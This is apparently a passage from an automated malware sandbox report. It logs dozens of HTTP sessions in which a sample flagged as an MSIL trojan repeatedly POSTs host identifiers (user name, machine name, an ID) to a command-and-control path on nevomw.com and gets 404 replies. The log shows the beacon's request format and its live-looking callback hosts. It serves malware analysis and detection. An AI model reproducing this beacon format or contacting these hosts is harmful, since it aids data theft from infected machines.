Dec 2, 2020 11:54:09.166830063 CET	1592	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:09.240145922 CET	1593	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.6	49732	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:51.071178913 CET	98	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:51.123859882 CET	98	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:51.201095104 CET	98	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.6	49938	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:11.242526054 CET	1594	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:11.302968979 CET	1594	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:11.376329899 CET	1594	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.6	49939	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:11.639262915 CET	1595	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:11.692301989 CET	1595	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:11.771996021 CET	1596	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.6	49940	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:12.071896076 CET	1596	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:12.125400066 CET	1597	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:12.200444937 CET	1597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.6	49941	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:12.634165049 CET	1598	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:12.686851978 CET	1598	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:12.768111944 CET	1599	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.6	49942	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:13.017353058 CET	1599	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:13.069201946 CET	1600	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:13.140944958 CET	1600	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.6	49943	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:13.460319996 CET	1601	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:13.514307022 CET	1601	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:13.589608908 CET	1601	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.6	49944	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:13.903883934 CET	1603	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:13.956406116 CET	1603	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:14.030296087 CET	1603	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.6	49945	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:14.273895979 CET	1604	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:14.326558113 CET	1604	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:14.412825108 CET	1605	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.6	49946	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:14.721467972 CET	1605	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:14.773554087 CET	1606	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:14.852649927 CET	1606	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.6	49947	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:15.132386923 CET	1607	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:15.187186003 CET	1607	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:15.261504889 CET	1608	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49714	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:42.190738916 CET	60	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:42.243526936 CET	60	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:42.317408085 CET	60	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.6	49733	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:51.489197016 CET	99	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:51.541227102 CET	99	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:51.665469885 CET	100	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.6	49948	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:15.547116041 CET	1609	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:15.599518061 CET	1609	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:15.675228119 CET	1610	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.6	49949	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:15.920391083 CET	1610	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:15.978032112 CET	1611	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:16.055699110 CET	1611	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.6	49950	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:16.357728004 CET	1612	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:16.410058975 CET	1612	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:16.485110998 CET	1613	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.6	49953	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:16.721966982 CET	1627	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:16.774810076 CET	1634	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:16.854005098 CET	1634	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.6	49954	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:17.155236959 CET	1635	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:17.207006931 CET	1635	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:17.282335043 CET	1636	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.6	49955	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:17.509660959 CET	1637	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:17.562423944 CET	1637	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:17.634665966 CET	1637	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.6	49956	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:17.931638002 CET	1638	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:17.984682083 CET	1638	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
